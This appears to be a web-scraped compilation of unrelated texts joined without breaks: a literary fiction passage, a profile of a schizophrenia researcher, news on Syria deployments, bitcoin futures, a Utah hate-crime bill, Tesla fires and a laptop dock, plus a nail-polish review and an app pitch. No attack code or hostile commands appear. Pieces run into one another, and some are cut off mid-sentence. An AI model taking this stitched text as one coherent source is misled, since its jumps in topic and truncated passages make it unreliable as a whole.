Ungrateful and coldhearted she must seem in the eyes of old neighbors and family friends, but how could she stay in his sight when she was going through her life with a reckless speed known only to herself, all because of a love she could not explain and did not have the right to claim in the first place? I wonder if I made a mistake by bringing you up alone, her father had said to her at their most recent lunch, taking it as his failure that she had not found a husband. I was afraid of what a stepmother would do to a girl, but perhaps a woman would have made a difference, he said, less guarded and more talkative now in his old age. Siyu had shaken her head and denied that he had anything to regret. That she had grown up without a mother could be a ready explanation for anything—her oddness in her teen-age years, her choice of an unremarkable job despite her excellence in schoolwork, her singleness. Were people to know her secret, they might easily conclude that she had spent her life looking for a mother in her love of an older woman, but Siyu did not believe that things would have turned out any differently had she had a mother. A beautiful and sad woman, Hanfeng thought as he looked at Siyu’s face. As beautiful and sad a woman, perhaps, as his mother had once been. Could this account for his mother’s wish for a marriage between Siyu and him? Hanfeng had been surprised, at first, that a former student would remain close to his mother. She had not been the kind to pick favorites among her students; nor had she ever encouraged any personal interaction with them, as far as he knew, though he could see why Siyu, motherless and with a gentle and loving father, might seek out a professor despite, or perhaps because of, her sternness. But Siyu seemed to know his mother only in a peripheral way, as a pupil, and Hanfeng wondered if this was why his mother had allowed the younger woman to remain a friend. When Hanfeng was ten, a woman had come from a southern province to see his mother. An unannounced visit, he could tell, when his mother returned home in the evening and found him shelling peas alongside the guest, their knees almost touching, on two low stools. The woman, who had told Hanfeng that she was a very old friend of his mother’s and was planning to stay with them for a week, had left the next morning before he awoke. He had been puzzled but had intuitively known not to ask his mother about it. Still, the image of the woman’s face, pale at the sight of his mother, and her hands, which let the peas fall into the pile of shells, had stayed with Hanfeng. He could not pinpoint when he understood that there had been betrayals between the two friends, but by the time he left home for college he had known that he would never learn the true story, his mother having long ago decided to live alone with the secret until her death.Brandon Chuang was an ambitious research assistant investigating schizophrenia treatments in military veterans when he began to suspect friends and colleagues of hacking into his Facebook account. As his paranoia escalated into altercations and psychiatric hospitalization, it emerged that the insidious disease he had been studying in others had taken hold of him.
Through sheer grit, the right medication and improv comedy, Chuang has problem-solved his way out of the dark psychosis that struck him in 2012. Gone is his fear that mental illness would doom him to a life of menial jobs and social isolation. He’s starting a Ph.D. program in clinical psychology at UC Berkeley next week.
“Getting into Berkeley is the happiest I’ve been,” says Chuang, 28, a native of Cupertino, California, and a UCLA graduate in molecular biology. “It’s the culmination of all my hard work. It tells me I can accomplish great things, that I can live my dreams.”
Ann Kring, chair of psychology at UC Berkeley, studies schizophrenia, and is thrilled to have Chuang aboard. His application made it to the top of her pile due to his strong letters of recommendation and rigorous research experience. When she saw Chuang’s disclosure of schizophrenia, she was even more excited to work with him.
“He will have a great deal to contribute to our research, as a scientist, as an advocate, and as a person who has been touched by schizophrenia,” Kring said.
The support of mentors
Joshua Woolley, a UCSF psychiatrist who supervised Chuang’s schizophrenia research at his lab at the Veteran’s Administration Medical Center in San Francisco, has seen Chuang through the worst of his ordeal and can attest to his laser-sharp focus and resilience.
“I’m really proud of him, and his incredible grit and determination,” says Woolley, who convinced Chuang to get a psychiatric evaluation when others were in denial about his troubling change in behavior. “He’s a role model for a lot of people.”
At least 2.5 million Americans have been diagnosed with schizophrenia, a disorder associated with neurochemical imbalances and disruptions to brain networks that are still developing. It typically strikes between the mid-teens and 20s and can result in severe psychosis if untreated. At worst, its symptoms can lead to homelessness, incarceration and suicide.
“It’s a serious illness,” Woolley says, adding that the stigma doesn’t help. “People find it scary, and so those who have it feel a lot of shame.”
The signs of its onset include social withdrawal, a flat affect, loss of motivation, paranoia and isolation, symptoms that can be easily mistaken for depression, Woolley says.
One common misconception about schizophrenia is that it manifests as a “split personality.” But Chuang knows otherwise:
“It’s not like the mind is split. It’s like it’s shattered,” says Chuang, who knows of no family history of schizophrenia. “It’s like a lot of things are going wrong in the brain.”
Hard on himself
The youngest of three sons born into a Chinese-American family of high achievers in Cupertino, Chuang recalls he was more introverted than his brothers, Kenji and Eric, but also harder on himself. His father, Patrick, a hardware engineer, and his mother, Connie, a retired accountant, encouraged his ambition.
He breezed through academics at school in Cupertino, earning good grades, but found social interactions more challenging. “Connecting with people was one of the toughest things for me,” he says.
Chuang went to UCLA, where he joined a fraternity and graduated in 2010 with a bachelor’s degree in molecular biology. He applied to medical school, but was rejected, so he landed a volunteer gig as a research assistant in Woolley’s lab and moved to San Francisco.
At the VA Medical Center, he researched the therapeutic benefits of oxytocin, a hormone linked to empathy and nurturing, to military veterans with schizophrenia. In addition to analyzing data, he co-authored several studies published in Psychoneuroendocrinology.
He was doing well, but in the summer of 2012, Chuang began to misread social cues and imagined people were hacking his computer. His brother Kenji, an optometrist, shrugged off his conspiracy theories as weird but harmless, Chuang says.
As for his parents, “They didn’t want to admit anything was wrong,” he says. “For them, mental illness is looked down upon because of cultural biases.”
Luckily, Chuang’s demeanor and seemingly unfounded paranoia did not escape the attention of his boss, Woolley.
“I noticed him being withdrawn. He had a flat affect. I thought he was depressed and so I asked him what was going on,” Woolley says. “He said he thought a girl had hacked into his Facebook page, and that others were also involved, including me.”
Chuang took Woolley’s advice to seek medical help and was diagnosed with social anxiety and depression. Antidepressants like Prozac alleviated his paranoia but muddled his mind, so he stopped the medication. The rebound effect hit him hard.
Brain felt ‘like it was on fire’
“My brain was in pain, and I felt like the only way to get out of the pain was to fight,” Chuang says. “So I got into a fight about something with my brother Kenji,” physically attacking him while they were watching television. “My parents called the police, and they came, and I tried to fight with them.”
Chuang was hospitalized under the state’s involuntary psychiatric-hold law for two weeks. A few hours after his discharge, he says, his brain literally felt like it was on fire.
“All I could do was scream and I kept screaming,” he says. “I asked for a pill to commit suicide because I couldn’t stand it.”
He was hospitalized again and diagnosed with schizophrenia. This time, he was put on olanzapine, an antipsychotic medication that resets dopamine and serotonin receptors to stabilize moods and behavior. He began to regain his mental balance.
His parents, who were caring for him, worried that his psychosis would return if he pushed himself too hard and told him to take it easy. But Chuang, who was growing bored, had other plans: “I wanted to work hard and achieve big things,” he says.
He begged Woolley to let him return to work at the lab. At first, Woolley was reluctant, not knowing how Chuang would cope in social situations, around patients and with the stress of the lab. But his desire for Chuang to recover and get back on track won out. He helped Chuang apply for two National Institute of Mental Health diversity research grants to pay Chuang a modest salary.
“He needed a sense of purpose,” Woolley says. “He needed the job.”
Grateful for a second chance, Chuang worked hard at the lab, took his meds faithfully and stepped outside his comfort zone to develop his social skills. He took classes in improv comedy to improve his spontaneity, and joined Toastmasters to develop his public speaking and leadership skills.
Improv helps with spontaneity
“Improv helps with being able to figure out what other people are thinking, which can be hard when you have a mental illness,” Chuang says.
He also applied to graduate psychology programs, and was accepted to UC Berkeley. Woolley was so proud of Chuang that he pitched a story about his odyssey to the UCSF news office. An article ran in June in the science publication STAT.
At Berkeley, Chuang plans to experiment with improv and other therapies to treat symptoms of schizophrenia. As a volunteer with the National Alliance on Mental Illness, which seeks to destigmatize psychiatric disorders, he intends to talk openly to his cohort about his disease and participate in support groups.
“I’m a person. I’m not my illness,” says Chuang, whose medication can give him a flat, even severe demeanor. “If you get to know me, I’m a very kindhearted person.”
He’s given up his ambition to become a medical doctor: “Talking to people is not my forte, but I want to help people, so a Ph.D. program in clinical psychology is the best fit because I can create my own experiments,” he says.
As for how he’ll cope if things don’t go exactly as planned?
“There might be times I fall back, but I’m more confident than I’ve ever been because of what I’ve been through,” he says. “What helped me get though the dark days was to have a purpose, and that’s what I have now, to study schizophrenia and find new treatments, and to keep moving forward.”A new open world game which lets you play as a escaped prisoner
Every now and then gamers want to explore the dark side in video games. While most titles force you play as the good guy, this new video game actually puts you in the shoes of an escaped prison inmate. Orange jumpsuit and all.
SCUM is an Early Access, open-world-survival-prison-riot-simulator co-developed by Croteam and Gamepires. Set on an island, the premise of the game focuses on an entertainment company called TEC1 which is currently filming their first season of their new reality tv show SCUM. The competitors of the show are actual inmates, and they are pitted against each other with the possibility of being released from prison.
The game’s tagline is “Your life sentence is about to become your 15 minutes of fame.” and their description, “The world’s need for entertainment has turned towards bloodlust as TEC1 is set to premiere season two of its television sensation SCUM.”
According to the developers, the game will be a multiplayer open world survival game with “character customization, control, and progression.” Additionally, the game is running on Unreal Engine 4!
“SCUM evolves the multiplayer open world survival game with unprecedented levels of character customization, control, and progression where knowledge and skills are the ultimate weapons for long-term survival.” The games bio on Steam explains.
The game includes hand to hand combat, basically prison yard fist fights, which many gamers who have obtained early access on steam raved about.
You can check out some gameplay footage right here:Jerry Seinfeld has now had coffee with millions of viewers.
Crackle’s “Comedians in Cars Getting Coffee” topped 25 million streams during its third and current season. This time around, Seinfeld picked up Tina Fey, Howard Stern, Louis C.K., Jay Leno, Patton Oswalt and Todd Barry in various classic cars en route to getting a cup of Joe.
“My initial intention was to make a few of these silly little things for the stand-up comedy obsessed like myself,” Seinfeld told TheWrap. “Thanks to Steve Mosko, the cool Crackle people and especially Acura, it’s gotten completely out of hand. I consider myself extremely lucky to have fallen in with folks who also enjoy the weird fun of playing a game with no real rules.”
See video: Louis CK Ranks Sex, Comedy and Proper Boating Fabrics in ‘Comedians in Cars Getting Coffee’ Season 3 Premiere
Crackle has already re-upped the series for Season 4, with enough episodes ordered for a fifth. And the web series will pretty much go on as long as Seinfeld wants it to go on, said Eric Berger, executive vice president of Digital Networks for Sony Pictures Television and general manager of Crackle.
Therefore, there is no reason to believe that the project will end anytime soon.
See photo: Larry David Unknowingly Posed for a Perfect Picture at a New York Knicks Game
Aside from being “thrilled” about crossing what Berger called a “really nice milestone,” the Crackle GM is also quite happy about the variety of delivery systems that the self-explanatory “Comedians in Cars Getting Coffee” has taken advantage of: traditional internet, mobile, tablets, connected TVs and game consoles.
Berger is especially excited to discuss the results of a new poll, which found that the TV set is now the No. 1 streaming device in the home. In other words, the television has surpassed laptops, tablets, and phones.
“That cuts across a wider range of demos than you would think,” Berger said.
See video: Tina Fey, Howard Stern to Ride Shotgun in Jerry Seinfeld’s ‘Comedians in Cars Getting Coffee’
The first two seasons of the web series featured Seinfeld’s conversations with comedy legends including Ricky Gervais, Chris Rock, and Larry David among others. The series is Crackle’s most-watched original series and received an Emmy nod in the Outstanding Special Class — Short-Format Nonfiction Programs category.
The Seinfeld-executive produced “Comedians in Cars Getting Coffee” is a Sony Pictures Television’s Embassy Row production. It is currently sponsored solely by Acura.SALT LAKE CITY — A new proposal could make it a hate crime in Utah to harm someone because they are gay or transgender.
A bill unveiled by a Republican lawmaker Thursday would dole out stiffer penalties for crimes against people or their property that are motivated by the victim’s sexual orientation, gender identity, race, disability, gender or other protected traits.
Equality Utah Executive Director Troy Williams has said Utah’s current hate crimes law has no protections for gay or transgender residents and little protections for other groups.
Utah is one of 15 states with hate crime laws that lack protections for sexual orientation and identity, according to the Human Rights Campaign.
St. George Republican Sen. Steve Urquhart sponsored the measure. He also sponsored Utah’s landmark LGBT anti-discrimination bill last year that passed after being endorsed by the Salt Lake City-based Mormon church.
Urquhart’s proposal has not yet been scheduled for a hearing.
Williams has cited a case from late 2014, where two gay men were beaten outside a Salt Lake City apartment complex. The victims said two men yelled gay slurs and made explicit sexual comments before attacking them.
They suffered cuts and bruises, but Williams said prosecutors were unable to prove the attack was a hate crime under the current law.
Under Urquhart’s bill, prosecutors would have to prove an offender committed the crime because they believed the victim was gay or transgender. It wouldn’t matter if the victim actually was gay or transgender.
The hate crime charge also would bring higher penalties.
For example, someone convicted of aggravated assault in Utah can get one to 15 years in prison if the victim suffers serious injuries. Under the hate crimes proposal, anyone committing an assault because of a victim’s sexual identity or another protected trait would be eligible for five years to life in prison.
The proposal would also require the state to track the number of hate crimes committed in the state based on various factors such as a victim’s sexual orientation or race.
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This material may not be published, broadcast, rewritten, or redistributed.
This Story Filed UnderMore American Commandos Push Into Syria Before the Battle for Raqqa
More U.S. troops are heading for Syria in advance of what is expected to be a hard fight for the Islamic State’s stronghold of Raqqa.
The announcement of the deployment of 200 more special operations forces, made Saturday by Defense Secretary Ash Carter while traveling in Bahrain, is another uptick in the growing American presence in both Syria and Iraq, where local forces — backed by U.S. and coalition air power — have steadily pushed the Islamic State into smaller pockets of control over the past year. There are currently about 300 American special operations forces in Syria.
“These uniquely skilled operators will … continue organizing, training, equipping, and otherwise enabling capable, motivated, local forces to take the fight to ISIL,” Carter said, using an alternative name for the Islamic State.
A senior defense official who requested anonymity told reporters Saturday that the increase “is tied to the growing number of local forces now willing to participate in this fight.” That’s a reference to American efforts to find more Arab forces to hold Raqqa and the surrounding areas, allowing Kurdish fighters to pull back, something that would reduce tensions with local Arab populations.
The deployment will give the incoming administration of President-elect Donald Trump more options for how to run the U.S. war in Syria. Trump has promised to destroy the Islamic State while also insisting that Washington should get out of the business of nation building. He has repeatedly said he would look for ways to work with Russia in Syria to fight the Islamic State, despite long-term reluctance in the Defense Department for forging any such alliance with Moscow.
The operators will embed with the Syrian Democratic Forces (SDF), an alliance of Kurdish and Syrian Arab forces that has been steadily pushing on Raqqa for weeks. The SDF said on Thursday that it was kicking off an operation to take the Tabqa dam, about 30 miles west of the city.
Since October 2015, when the Pentagon announced the first group of 50 special operators was heading to Syria, defense officials have insisted that they are not in combat, although they are embedded with SDF units doing the fighting. The “train, advise, and assist” mission has often slipped into combat for American forces however, as the fluid nature of the fight makes front lines difficult to discern.
The American announcement comes just days after Turkey reportedly sent 300 commandos to northern Syria to assist the Turkish-backed Free Syrian Army rebels who are moving south toward the Islamic State-held city of Bab. American commandos had initially moved into Syria with the FSA in August, but last month U.S. military officials said the troops had been withdrawn, and U.S. air support suspended, partially due to worries that the militia would set its sights on the rival SDF. Ankara has pledged to fight to ensure the Kurdish Peshmerga stay away from Turkey’s borders.
The FSA fighters have been regularly targeted by Russian airstrikes, a senior defense official confirmed to Foreign Policy.
Although no U.S. troops have been killed in Syria since the first 50 entered in October 2015, the American fight against the Islamic State and the Taliban in Afghanistan continues to take its toll.
Last October, Navy SEAL Jason Finan was killed near Mosul, Iraq, when a roadside bomb exploded. Finan had been serving as an advisor to Iraqi security forces fighting the Islamic State. Fellow Navy SEAL Charles Keating IV was killed near Mosul in May, when Islamic State fighters attacked the Peshmerga forces he was advising.
In Afghanistan, U.S. Army Special Forces soldier Staff Sgt. Adam Thomas was killed fighting the Islamic State in October, and last month two more Green Berets were killed fighting the Taliban in Kunduz. They were Capt. Andrew Byers and Sgt. 1st Class Ryan Gloyer. All three soldiers were assigned to the 10th Special Forces Group.
Photo credit: DELIL SOULEIMAN/AFP/Getty ImagesOver the last two years, the Bay Area’s community of Internet service providers has been tapping into the region’s bottomless demand for faster speeds at competitive prices.
Take Sonic in Santa Rosa. The high-speed broadband provider has doubled in size since 2015, according to CEO Dane Jasper, bolstering its ranks by 188 employees in 2016 alone. The company now employs 418 workers.
The region’s robust market for Internet connections is also |
bitcoin standing on PC motherboard is seen in this illustration picture, October 26, 2017. REUTERS/Dado Ruvic/File Photo
The price of bitcoin topped $11,000 on Wednesday less than a day after passing the $10,000 mark and has increased more than 10-fold in value so far this year, prompting concerns of a bubble.
CME Group, the world’s largest derivatives exchange, and CBOE Holdings, have both said they plan to launch futures products based on bitcoin this year, pending regulatory approval, helping fuel the crypto-currency’s rally.
While Nasdaq does not have a hard date set for its product, the transatlantic exchange operator has offered an exchange-traded note based on bitcoin on its Stockholm exchange since 2015.
Nasdaq has teamed up with New York-based money manager VanEck to develop the futures contract, which will be cleared by the Options Clearing Corporation. The OCC clears all Nasdaq futures products, the source said.
VanEck had applied to the U.S. Securities and Exchange Commission (SEC) this year to launch a bitcoin-related exchange-traded fund, but withdrew the request in September after speaking with SEC staff, according to a regulatory filing.
The SEC requested that VanEck wait until the underlying instruments in which the ETF planned to primarily invest - bitcoin futures contracts - become available for investment, the filing said.
A representative for VanEck was not immediately available for comment.
One of the ways the Nasdaq futures product will differ from CME’s and CBOE’s is that it will be based on an index that takes in prices from more than 50 bitcoin exchanges, the source said.
CME has said it’s bitcoin future will be based on the CF Bitcoin Reference Rate (BRR), a once-a-day reference rate of the U.S. dollar price of bitcoin, that currently takes prices from four bitcoin exchanges. CBOE will price its bitcoin future off the Gemini Trust, the digital currency exchange founded by brothers Cameron and Tyler Winklevoss.
The SEC in March denied a request for CBOE to list what would have been the first U.S. ETF built to track bitcoin.The biggest movie ever made on Irish shores is to begin filming here next year.
The biggest movie ever made on Irish shores is to begin filming here next year.
Boru – the big-budget biopic of Brian Boru – is due to get the sign-off for funding of €80m in the coming weeks.
The movie has been hailed as a massive coup for the Department of Arts and the Irish film industry, who mounted a high-profile campaign this year to bring more big-budget films to Ireland.
The production is due to be officially announced by Minister for Arts Jimmy Denihan in the coming weeks.
Epic battle scenes will be filmed at a number of landmark locations around Ireland, including the Cliffs of Moher. It is believed its depiction of Ireland's natural landscapes, along with the movie's €27m print and advertising budget, will "showcase" Ireland to the rest of the world and boost Irish tourism.
It is hoped Boru will match the success of Braveheart, which was filmed on the Curragh in 1994, starring and directed by Mel Gibson.
Corkman Mark Mahon, the writer, producer and director behind the epic, is launching the graphic novel Freedom Within The Heart this week – the book on which the movie will be based.
Mahon, who divides his time between Ireland and LA, where he is close friends and a former housemate of Vinnie Jones and Jason Statham, describes the Boru biopic as a story about, "bravery and human spirit".
"At the time, the country was being pillaged and destroyed, and it took one man with a vision – ultimately that's all it does take. It's a good comparison to what's happening today. And I believe if you look at our history we are a nation of people who will overcome."
The story will centre around Brian Boru, whose armies fought and defeated the Vikings at the Battle of Clontarf – but who was killed in the closing stages of the conflict.
"We have a couple of big names in mind for the lead but we do plan on using as much big Irish talent as possible for the main characters."
Mahon overcame adversity himself when at the age of 22 he was injured in an industrial accident while working in a pharmaceutical company.
"It was just one of those things that went wrong. It was a major shock to the system. Initially, it was like my whole world fell apart and it was a very difficult time as you can appreciate.
"I began to think about how I could still stay involved in my passion, so I started writing from the hospital bed.
"I spent several months in hospital and I was in a wheelchair for three-and-a-half years, but I was determined to get out of it.
"The one thing I took from my accident is that at times of adversity you either let the situation chew you up – or else you take a positive lesson from it, learn from it and use it to make you stronger."
Irish IndependentHey There Polished People!
Today I’m finally going to share with you a legit review of both ChG Glitter All The Way and OPI Black Spotted. Are you excited? I am. I really love both of these, although I’m not convinced I’ve found their ‘just right’ applications yet. They look cool together though. Shall we get started?
China Glaze Glitter All The Way
Color:
Glitter All The Way is a mixture of green, gold, purple and red small glitter in a clear base. The colors that are most prominent to me are green and purple. In real life the green particularly jumps out at you.
Formula/Application:
China Glaze can not go wrong with these small glitter polishes. The coverage is good- it can be a topcoat at one coat, it can be opaque at about 3, and they dry smooth for a glitter. This is my favorite glitter formula out of any polish. No dabbing, no super-gritty texture, no annoying bald spots. It’s great.
Yes, Please! or No Thank You:
Yes, PLEASE!! I am glad I got this glitter. It’s maybe less traditionally Christmas-y than other polishes because it has the purple in there but I like it! How many green and red and gold glitters do you possibly need?! People have said it will be perfect for Mardi Gras as well and they’re right. It’s a pretty color for the holidays, pretty for Mardi Gras, good formula, go get it!
Now what could make this pretty polish better? Well, possibly OPI Black Spotted!
OPI Black Spotted
Color:
This polish is a never-before-seen mix of red, blue, green and magenta. Just kidding- it’s black, people! OPI Black Spotted is a black topcoat that, as it dries, reveals holes that allow a base color of polish to show through. You paint your nails with the under-color, allow it to dry completely, brush on the Black Spotted and wait till that dries, revealing the holes or “spots” and then apply topcoat as usual. It creates a cool melty/spotty effect.
Formula/Application:
OPI Black Spotted is only to be used as a topcoat, of course, so it’s a little thin but goes on smooth. It’s not the consistency of regular polish; it seems much more watery. If you apply a thick layer you will only have a couple of larger “spots” where the polish separates leaving the under-color exposed, but if you apply it thinly you will have lots of smaller “spots,” or holes. For these nails I applied it quite thickly, and wish I’d done it a little more thin so I’d have more holes where the glitter polish would show through. An important note about this polish is that it doesn’t react the same as regular polish with acetone or nail polish remover so you want to be really careful to keep this off of your cuticles. The first time I used it (just playing around) I applied it really sloppily and it was HARD to get off my cuticles. I had to use a scratchier brush than usual and really rub at the polish to get it off my skin. It’s not impossible to remove if you act quickly, but it’s much more difficult than regular nail polish.
Yes, Please! or No, Thank You:
Well here’s the catch… I give this a Yes, Please! because it’s a cool revamp of the crackle phenomenon and looks pretty neat over a contrasting polish. However- unless you live in Europe or have a nice European friend who will send you this, you can’t get it in the US. I live in the US but won a contest on Sabrina’s blog, Polish In Paris and that’s how I was able to obtain it. I haven’t heard anything about them releasing this in the US (I do not know why) but I wouldn’t be surprised it we see this sooner rather than later. It’s a cool product and I wish I could tell you all to run out and grab it! If you have access, definitely do! 🙂
I actually get quite a few views from lots of other countries than the US so I hope some of you can find OPI Black Spotted! To everyone- do you have any of the ChG Holiday Joy collection? What is your favorite or most anticipated holiday collection this year? Let me know in the comments below. Thanks for reading and commenting and till next time- Happy Polishing!! 😀
AdvertisementsA new UC Davis study finds that California is not benefiting from participating in the National Flood Insurance Program and that the state may be better off running its own program.
California has received only a small fraction of economic benefits from participating in the National Flood Insurance Program compared to the premiums it has paid. Scientists at UC Davis examined NFIP databases and found that since 1994, damage payouts have totaled just 14 percent of premiums collected.
The state had some of its most damaging floods during the period. The study's author suggests California partner with private insurers and reinsurers to provide flood insurance.
"California would need to design such a program very very carefully, but the payoffs are obvious," says Nicholas Pinter, with the UC Davis Center For Watershed Sciences. "California has paid in more than $3 billion more than it’s received in payments over the last 21 years. That's a massive investment that could have been used for other higher priorities."
Pinter says the money saved could be invested in projects that reduce flood risk. The state currently has 290,000 National Flood Insurance Program policies.On The Front Lines
U.S. Supreme Court Refuses to Protect Right of Students to Wear American Flag T-Shirt to School, Affirms Ruling That Patriotic Garments Are Disruptive
WASHINGTON, D.C —The U.S. Supreme Court has refused to hear a case in which California public school students were prohibited from wearing American flag t-shirts to school, allegedly out of a fear that it might be disruptive. In refusing to hear the appeal without giving any reason for the decision, the Supreme Court lets stand a lower court ruling that upheld the ban out a concern for school safety. The Rutherford Institute had asked the Supreme Court to hear the case of Dariano v. Morgan Hill, in which several students were ordered by school officials to cover up their American flag t-shirts on May 5, 2010, allegedly because officials feared that it might offend other students who were celebrating the Mexican holiday Cinco de Mayo.
“When public school students can’t wear an American flag on a t-shirt because it might be disruptive, then free speech as we’ve known it is dead,” said John W. Whitehead, president of The Rutherford Institute and author of A Government of Wolves: The Emerging American Police State. “If the Supreme Court continues down the road to political correctness, then eventually anything we say will be treated as threatening as a loaded gun and deemed just as dangerous.”
On May 5, 2010, three Live Oak High School students wore patriotic t-shirts, shorts and shoes to school bearing various images of the U.S. flag. During a mid-morning “brunch break,” the students were approached by Assistant Principal Miguel Rodriguez, who told the students they could not wear their pro-U.S.A. shirts and gave them the option of either removing their shirts or turning them inside out. The students refused, believing the options to be disrespectful to the flag. Rodriguez allegedly lectured the group about Cinco de Mayo, indicating that he had received complaints from some Hispanic students about the stars and stripes apparel, and again ordered that the clothing be covered up to prevent offending the Hispanic students on “their” day. Principal Nick Boden also met with the parents and students and affirmed Rodriguez’s order, allegedly because he did not want to offend students who were celebrating Cinco de Mayo.
Arguing that the decision by school officials constituted viewpoint discrimination against pro-U.S.A. expression, Rutherford Institute attorneys filed a First Amendment lawsuit on behalf of the students and their parents in district court. In November 2011, the district court ruled in favor of school officials, citing a concern for school safety. That ruling was affirmed by the Ninth Circuit Court of Appeals. Although the appeals court acknowledged that other students were permitted to wear Mexican flag colors and symbols, it ruled that school officials could forbid the American flag apparel out of concerns that it would cause disruption, even though no disruption had occurred. Three of the nine judges on the Ninth Circuit agreed with The Rutherford Institute that school officials violated long-standing Supreme Court precedent forbidding suppression of protected expression on the basis of a “heckler’s veto,” which occurs when the government restricts an individual’s right to free speech in order to maintain order. Affiliate attorney William J. Becker assisted The Rutherford Institute in its defense of the students.
Case History
03/12/2015 • Rutherford Institute Asks U.S. Supreme Court to Reject Politically Correct Censorship, Protect Right of Students to Wear American Flag T-Shirts to School
12/15/2014 • Rutherford Institute Asks U.S. Supreme Court to Reject Politically Correct Censorship, Protect Right of Students to Wear American Flag T-Shirts to School
09/19/2014 • Ninth Circuit Stands by Its Ruling That It Is Unsafe for California Students to Wear American Flag T-Shirts to School
03/13/2014 • Rutherford Institute Asks Ninth Circuit to Reconsider Its Ruling Declaring It Unsafe for California Students to Wear American Flag T-Shirts to Schoolby DAVE MARTINEZ
It looks like Arthur Blank won.
Following a report from Sports Illustrated detailing the tug-of-war between Atlanta and Minnesota over the “United” moniker, a MLS trademark filing uncovered by EoS seems to show Atlanta has won that debate.
MLS filed a trademark for MNFC and Minnesota FC on February 18th, 2016; just one day after the original SI report was published.
As reported by Brian Straus, Minnesota and Atlanta are in line to make their MLS debuts for 2017. That presents the odd conflict of having two teams enter the league at the same time, with the same name. Unnamed sources told SI the team’s identical moniker would be an issue for the league, forcing both sides to jockey for possession of the United name.
While Minnesota United has established their brand since 2013 through the North American Soccer League, Atlanta gained entry into MLS first, giving each strong grounds for their stake in “United.” As reported, MLS was already close to backing Atlanta in their quest to keep the United brand — and it looks like they have already done so. In fact, the original SI report makes mention of “Minnesota FC” by name as a possible alternative to Bill McGuire’s club.
Minnesota United FC issued no comment. EoS also reached out to MLS, but did not receive comment by the time of this report.About
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The idea for blackout started when I let someone use my cellphone and the person went through my emails and stole business information, contacts and some pictures. I then started thinking, what can I do to protect my information when my cellphone is in the hands of others or when my phone is unprotected. This problem was driving force behind the idea...Blackout. With this application you will be able to protect your information by blocking access to any other app(s) on your phone. Additionally, when your phone is locked, people can see who's calling or texting you by just glancing at your home screen. In some Instances, they can even read your incoming emails without even touching your phone. Blackout makes privacy a nonexistent problem!
This app is great for parents with minor children, because now they will be able to block any app on their child's phone. When their child go to school they should be focused on the class work and not their phone. With Blackout, parents can customize their child's phone to the point where they can only make phone calls and only the parent can open blocked apps by using a special code.
What is the Concept?
The concept of Blackout is relatively easy to understand. With it installed, all information on your Android or iPhone will be blocked as if it was blacked out. It is a simple, user friendly application which is designed to protect the user’s privacy and information. The idea behind the app is that the user can allow someone to use their phone without accessing any information on it.
How does it Work?
A brief explanation of the operation is as follows: The user can allow someone to use their phone without accessing any information. The user would be able to block apps such as contacts, emails, pictures, camera and the internet. The app can be customized to a person’s liking so they could disguise the app on their phone with the installed Blackout application. In addition to that, the app will be voice automated.
What are the Benefits of Using this Application?
The unique features of this application will provide the following benefits for all users: With the app parents have the option to block their child’s access to the internet or camera. A person can only borrow/use the phone - they do not see anything. If someone calls, the number does not show. When they make a call they cannot access your incoming/outgoing call log. Blackout will help relationships between spouses, parents and children and all around protect your privacy. Parents can blackout their child’s camera, internet, or Facebook so when their child goes to school they can only make phone calls.
Marketing
My team envisioned this product to appeal to a multitude of consumers worldwide. The markets are endless for the ingenious application Blackout. Google Play and iTunes are the most popular application stores in the primary market and are the ideal places to market this application. There are several new stores in the cyber world for the Android version of this application such as, AppsLib, Samsung Apps, F-Droid, Slide ME, GetJar, and Amazon App Store for Android. I remain flexible in the market for future possibilities that could improve the expediency and marketability of his product.Shares of Tesla Motors Inc. (NASDAQ: TSLA) are down after a fiery crash involving a stolen Model S raised safety concerns about the lithium-ion batteries used to power electric cars.
Investors bid down Tesla shares by 2.9 percent to $222.66 on Monday, just days after a man stole an electric-powered sedan from a Tesla store in Los Angeles, led police on a high-speed chase and then slammed into several cars and a pole, the Wall Street Journal reported. Seven people were injured, but no deaths were reported in the July 4 accident that split the vehicle in half.
The smashed sedan sprayed chunks of the car’s lithium-ion batteries around the street. Some of the pieces burst into flames and shot sparks through the air like fireworks, the WSJ noted, citing a broadcast report by television station KTLA-TV.
The Los Angeles crash marks the fourth time a Tesla car has burned after a collision. The California-based carmaker’s stock dropped nearly 14 percent early last October after a Model S struck debris on a highway south of Seattle and caught fire. Two weeks later, shares took another hit after a Model S slammed into a concrete barrier and a tree in Mexico.
Car fires are relatively common among gasoline-powered vehicles in the United States, but accidents involving electric vehicles garner extra attention because the battery packs are becoming powerful enough to raise concerns over lithium-ion chemical fire risks. Tesla CEO Elon Musk has criticized what he said is disproportionate media coverage of a handful of Model S fires. About 65,000 car fires occurred each year from 2008 to 2010, almost all of which involved conventional vehicles, according to a study by the U.S. Fire Administration.
After the earlier crashes, Tesla added a titanium plate in March to increase protection of the lithium-ion batteries in the Model S vehicles. The luxury sedan has a five-star rating for crashworthiness, the U.S. National Highway Traffic Safety Administration’s highest designation.
The company is working with Los Angeles police and fire officials to examine what exactly happened to the car during the July 4 crash, a Tesla spokesman told Bloomberg News."We've been developing this concept for over three years and feel now is the perfect time for this ground-breaking product," said O'Connor. "Storage space is always at a premium on a laptop and without the potential to upgrade the factory drive, the OWC DEC brings that option back in addition to cleanly supporting the gear we all rely on."
Other World Computing today announced the OWC DEC, an attachment designed to snap onto the bottom of a 2016 MacBook Pro to add additional functionality to the machine.The OWC DEC adds 4TB of storage, an SD Card Slot, USB Type-A ports for using standard USB devices, and a Gigabit Ethernet port. According to OWC, additional features will be introduced at a later date.OWC has crafted the DEC from aircraft-grade aluminum that's designed to match with the finish of the MacBook Pro. It attaches flush to the bottom of the MacBook Pro, making it thicker, but doing away with the need for a separate dock. OWC says the DEC when attached to the 2016 MacBook Pro will be "as thin as a 2012 MacBook Pro," which measured in at 0.95 inches. The pictures of the OWC DEC appear to be early renderings and do not depict all of the listed ports.OWC plans to begin shipping the DEC out to customers in the spring of 2017. Pricing has not yet been announced.A new study revealed the worrying fact that 18 percent of all Austrian women already had a problem with stalking. Now Austrias women minister Gabriele Heinisch-Hosek (Socialdemocrats) wants to evaluate the anti stalking law.
What is stalking? Stalking is an sulky answer to unrequited love. Unwanted daily telephone calls, e-mails or presents are already categorized as “stalking”. Stalking is a another expression for “insistent tracking”.
It was the medical university of Graz who has done the first study about stalking in Austria. The result shows that stalking is a huge problem in Austria.
Four unwanted efforts to get in contact in one month are already labeled as “stalking”. The typical stalking victim in Austria is a young lady who lives in the city and has no solid relationship. There is absolutely no influence in the educational achievement.
